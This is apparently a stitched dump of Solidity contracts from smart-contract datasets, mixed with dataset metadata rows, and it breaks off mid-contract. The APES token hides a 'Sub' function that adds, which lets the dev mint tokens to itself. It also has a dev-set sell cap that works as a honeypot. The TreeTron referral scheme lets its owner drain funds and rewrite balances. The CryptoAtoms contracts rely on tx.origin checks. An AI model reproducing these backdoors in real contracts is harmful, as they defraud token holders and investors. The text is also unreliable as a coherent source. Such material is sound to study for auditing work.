return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract APES is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**11 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals = 18;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**11 * 10**18;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = 0;
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 36,422 | 11,716 |
92415aa2bf00010a9f81f474940705b686a051b7cf967ba12ba6849bf2bc9257
| 15,245 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TPmAVrgg4AEprRn9jAjxBgdVC1tzvsPC2e_TreeTron.sol
| 3,966 | 13,591 |
//SourceUnit: treetron.sol
pragma solidity >=0.4.0 <0.8.0;
contract owned {
constructor() public { owner = msg.sender; }
address payable owner;
modifier bonusRelease {
require(msg.sender == owner,
"Nothing For You!");
_;
}
}
contract TreeTron is owned {
struct User {
uint256 id;
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
}
address payable public owner;
address payable public admin_fee;
mapping(address => User) public users;
mapping(uint256 => address) public userList;
uint256[] public cycles;
uint8[] public ref_bonuses; //10% of amount TRX
uint8[] public pool_bonuses; // 1% daily
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
admin_fee = _owner;
users[_owner].id = total_users;
userList[total_users] = _owner;
users[_owner].payouts = 0;
users[_owner].deposit_amount = 0;
users[_owner].deposit_payouts = 0;
users[_owner].deposit_time = uint40(block.timestamp);
users[_owner].total_deposits = 0;
ref_bonuses.push(25); //1st generation
ref_bonuses.push(10); //2nd generation
ref_bonuses.push(10); //3rd generation
ref_bonuses.push(10); //4th generation
ref_bonuses.push(10); //5th generation
ref_bonuses.push(7); //6th generation
ref_bonuses.push(7); //7th generation
ref_bonuses.push(7); //8th generation
ref_bonuses.push(7); //9th generation
ref_bonuses.push(7); //10th generation
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function join_newmember(address _upline) public payable {
require(msg.value > 1.0 trx);
if(users[_upline].deposit_time > 0) {
}
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
users[_addr].id = total_users;
userList[total_users] = _addr;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e8 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 1 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function depositPayout(address _upline) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 3;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function payoutToWallet(address payable _user, uint256 _amount) public bonusRelease
{
_user.transfer(_amount);
}
function getUserById(uint256 userid) view external bonusRelease returns(address user_address) {
return userList[userid];
}
function getUserDetails(uint256 userid) view external bonusRelease returns(uint256 id, address user_address, uint256 cycle, uint256 deposit_payouts, uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
address _addr = userList[userid];
return (users[_addr].id, _addr, users[_addr].cycle, users[_addr].deposit_payouts, users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function updUser(address _addr, uint256 _id, uint256 _cycle, address _upline, uint256 _referrals, uint256 _payouts, uint256 _direct_bonus, uint256 _pool_bonus) public bonusRelease {
users[_addr].id = _id;
users[_addr].cycle = _cycle;
users[_addr].upline = _upline;
users[_addr].referrals = _referrals;
users[_addr].payouts = _payouts;
users[_addr].direct_bonus = _direct_bonus;
users[_addr].pool_bonus = _pool_bonus;
userList[_id] = _addr;
total_users = total_users + 1 ;
}
function updUserAfter(address _addr, uint256 _match_bonus, uint256 _deposit_amount, uint256 _deposit_payouts, uint40 _deposit_time, uint256 _total_deposits, uint256 _total_payouts, uint256 _total_structure) public bonusRelease {
users[_addr].match_bonus = _match_bonus;
users[_addr].deposit_amount = _deposit_amount;
users[_addr].deposit_payouts = _deposit_payouts;
users[_addr].deposit_time = _deposit_time;
users[_addr].total_deposits = _total_deposits;
users[_addr].total_payouts = _total_payouts;
users[_addr].total_structure = _total_structure;
}
function initContract(uint256 poolcycle, uint256 poolbalance, uint40 poollastdraw, uint256 totaldeposited,uint256 totalwithdraw) public bonusRelease
{
pool_cycle = poolcycle;
pool_balance = poolbalance;
pool_last_draw = poollastdraw;
total_deposited = totaldeposited;
total_withdraw = totalwithdraw;
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
| 298,098 | 11,717 |
90481361f415023a0d1b3dbec6855e1efbec0235c3736bd9436477c3fd43985c
| 14,170 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x0b7bda8ad804cb3318ae8490b984c2883ada2154.sol
| 3,977 | 13,817 |
pragma solidity ^0.4.19;
contract ADM312 {
address public COO;
address public CTO;
address public CFO;
address private coreAddress;
address public logicAddress;
address public superAddress;
modifier onlyAdmin() {
require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
modifier onlyContract() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress);
_;
}
modifier onlyContractAdmin() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin {
if(msg.sender == COO)
{
CTO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CTO)
{
COO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CFO)
{
COO = _newAdminAddress1;
CTO = _newAdminAddress2;
}
}
function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin {
coreAddress = _newCoreAddress;
logicAddress = _newLogicAddress;
superAddress = _newSuperAddress;
SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress);
SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress);
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract SetCoreInterface {
function setCoreContract(address _neWCoreAddress) external;
}
contract CaData is ADM312, ERC721 {
function CaData() public {
COO = msg.sender;
CTO = msg.sender;
CFO = msg.sender;
createCustomAtom(0,0,4,0,0,0,0);
}
function kill() external
{
require(msg.sender == COO);
selfdestruct(msg.sender);
}
function() public payable{}
uint public randNonce = 0;
struct Atom
{
uint64 dna;
uint8 gen;
uint8 lev;
uint8 cool;
uint32 sons;
uint64 fath;
uint64 moth;
uint128 isRent;
uint128 isBuy;
uint32 isReady;
}
Atom[] public atoms;
mapping (uint64 => bool) public dnaExist;
mapping (address => bool) public bonusReceived;
mapping (address => uint) public ownerAtomsCount;
mapping (uint => address) public atomOwner;
event NewWithdraw(address sender, uint balance);
//ADMIN
function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin {
require(dnaExist[_dna]==false && _cool+_lev>=4);
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady);
uint id = atoms.push(newAtom) - 1;
atomOwner[id] = msg.sender;
ownerAtomsCount[msg.sender]++;
dnaExist[_dna] = true;
}
function withdrawBalance() public payable onlyAdmin {
NewWithdraw(msg.sender, address(this).balance);
CFO.transfer(address(this).balance);
}
//MAPPING_SETTERS
function incRandNonce() external onlyContract {
randNonce++;
}
function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin {
dnaExist[_dna] = _newDnaLocking;
}
function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin {
bonusReceived[_add] = _newBonusLocking;
}
function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract {
ownerAtomsCount[_owner] = _newCount;
}
function setAtomOwner(uint _atomId, address _owner) external onlyContract {
atomOwner[_atomId] = _owner;
}
//ATOM_SETTERS
function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) {
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady);
id = atoms.push(newAtom) -1;
}
function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin {
atoms[_atomId].dna = _dna;
}
function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin {
atoms[_atomId].gen = _gen;
}
function setAtomLev(uint _atomId, uint8 _lev) external onlyContract {
atoms[_atomId].lev = _lev;
}
function setAtomCool(uint _atomId, uint8 _cool) external onlyContract {
atoms[_atomId].cool = _cool;
}
function setAtomSons(uint _atomId, uint32 _sons) external onlyContract {
atoms[_atomId].sons = _sons;
}
function setAtomFath(uint _atomId, uint64 _fath) external onlyContract {
atoms[_atomId].fath = _fath;
}
function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract {
atoms[_atomId].moth = _moth;
}
function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract {
atoms[_atomId].isRent = _isRent;
}
function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract {
atoms[_atomId].isBuy = _isBuy;
}
function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin {
atoms[_atomId].isReady = _isReady;
}
//ERC721
mapping (uint => address) tokenApprovals;
function totalSupply() public view returns (uint256 total){
return atoms.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerAtomsCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return atomOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
atoms[_tokenId].isBuy = 0;
atoms[_tokenId].isRent = 0;
ownerAtomsCount[_to]++;
ownerAtomsCount[_from]--;
atomOwner[_tokenId] = _to;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
tokenApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(tokenApprovals[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract CaCoreInterface {
function createCombinedAtom(uint, uint) external returns (uint);
function createRandomAtom() external returns (uint);
function createTransferAtom(address , address , uint) external;
}
contract CryptoAtomsLogicV2{
address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5;
CaData public CaDataContract = CaData(CaDataAddress);
CaCoreInterface private CaCoreContract;
bool public pauseMode = false;
bool public bonusMode = true;
uint128 public newAtomFee = 1 finney;
uint8 public buyFeeRate = 0;
uint8[4] public levelupValues = [0,
2,
5,
10];
event NewSetRent(address sender, uint atom);
event NewSetBuy(address sender, uint atom);
event NewUnsetRent(address sender, uint atom);
event NewUnsetBuy(address sender, uint atom);
event NewAutoRentAtom(address sender, uint atom);
event NewRentAtom(address sender, uint atom, address receiver, uint amount);
event NewBuyAtom(address sender, uint atom, address receiver, uint amount);
event NewEvolveAtom(address sender, uint atom);
event NewBonusAtom(address sender, uint atom);
function() public payable{}
function kill() external
{
require(msg.sender == CaDataContract.CTO());
selfdestruct(msg.sender);
}
modifier onlyAdmin() {
require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CFO() || msg.sender == CaDataContract.CTO());
_;
}
modifier onlyActive() {
require(pauseMode == false);
_;
}
modifier onlyOwnerOf(uint _atomId, bool _flag) {
require((tx.origin == CaDataContract.atomOwner(_atomId)) == _flag);
_;
}
modifier onlyRenting(uint _atomId, bool _flag) {
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require((isRent > 0) == _flag);
_;
}
modifier onlyBuying(uint _atomId, bool _flag) {
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require((isBuy > 0) == _flag);
_;
}
modifier onlyReady(uint _atomId) {
uint32 isReady;
(,,,,,,,,,isReady) = CaDataContract.atoms(_atomId);
require(isReady <= now);
_;
}
modifier beDifferent(uint _atomId1, uint _atomId2) {
require(_atomId1 != _atomId2);
_;
}
function setCoreContract(address _neWCoreAddress) external {
require(msg.sender == CaDataAddress);
CaCoreContract = CaCoreInterface(_neWCoreAddress);
}
function setPauseMode(bool _newPauseMode) external onlyAdmin {
pauseMode = _newPauseMode;
}
function setGiftMode(bool _newBonusMode) external onlyAdmin {
bonusMode = _newBonusMode;
}
function setFee(uint128 _newFee) external onlyAdmin {
newAtomFee = _newFee;
}
function setRate(uint8 _newRate) external onlyAdmin {
buyFeeRate = _newRate;
}
function setLevelup(uint8[4] _newLevelup) external onlyAdmin {
levelupValues = _newLevelup;
}
function setIsRentByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyRenting(_atomId, false) onlyReady(_atomId) {
require(_fee > 0);
CaDataContract.setAtomIsRent(_atomId,_fee);
NewSetRent(tx.origin,_atomId);
}
function setIsBuyByAtom(uint _atomId, uint128 _fee) external onlyActive onlyOwnerOf(_atomId,true) onlyBuying(_atomId, false){
require(_fee > 0);
CaDataContract.setAtomIsBuy(_atomId,_fee);
NewSetBuy(tx.origin,_atomId);
}
function unsetIsRentByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyRenting(_atomId, true){
CaDataContract.setAtomIsRent(_atomId,0);
NewUnsetRent(tx.origin,_atomId);
}
function unsetIsBuyByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) onlyBuying(_atomId, true){
CaDataContract.setAtomIsBuy(_atomId,0);
NewUnsetBuy(tx.origin,_atomId);
}
function autoRentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_atomId, true) onlyOwnerOf(_ownedId,true) onlyReady(_atomId) onlyReady(_ownedId) {
require(newAtomFee == msg.value);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewAutoRentAtom(tx.origin,id);
}
function rentByAtom(uint _atomId, uint _ownedId) external payable onlyActive beDifferent(_atomId, _ownedId) onlyOwnerOf(_ownedId, true) onlyRenting(_atomId, true) onlyReady(_ownedId) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isRent;
(,,,,,,,isRent,,) = CaDataContract.atoms(_atomId);
require(isRent + newAtomFee == msg.value);
owner.transfer(isRent);
CaDataAddress.transfer(newAtomFee);
uint id = CaCoreContract.createCombinedAtom(_atomId,_ownedId);
NewRentAtom(tx.origin,id,owner,isRent);
}
function buyByAtom(uint _atomId) external payable onlyActive onlyOwnerOf(_atomId, false) onlyBuying(_atomId, true) {
address owner = CaDataContract.atomOwner(_atomId);
uint128 isBuy;
(,,,,,,,,isBuy,) = CaDataContract.atoms(_atomId);
require(isBuy == msg.value);
if(buyFeeRate>0)
{
uint128 fee = uint128(isBuy/100) * buyFeeRate;
isBuy = isBuy - fee;
CaDataAddress.transfer(fee);
}
owner.transfer(isBuy);
CaDataContract.setAtomIsBuy(_atomId,0);
CaDataContract.setAtomIsRent(_atomId,0);
CaDataContract.setOwnerAtomsCount(tx.origin,CaDataContract.ownerAtomsCount(tx.origin)+1);
CaDataContract.setOwnerAtomsCount(owner,CaDataContract.ownerAtomsCount(owner)-1);
CaDataContract.setAtomOwner(_atomId,tx.origin);
CaCoreContract.createTransferAtom(owner, tx.origin, _atomId);
NewBuyAtom(tx.origin,_atomId,owner,isBuy);
}
function evolveByAtom(uint _atomId) external onlyActive onlyOwnerOf(_atomId, true) {
uint8 lev;
uint8 cool;
uint32 sons;
(,,lev,cool,sons,,,,,) = CaDataContract.atoms(_atomId);
require(lev < 4 && sons >= levelupValues[lev]);
CaDataContract.setAtomLev(_atomId,lev+1);
CaDataContract.setAtomCool(_atomId,cool-1);
NewEvolveAtom(tx.origin,_atomId);
}
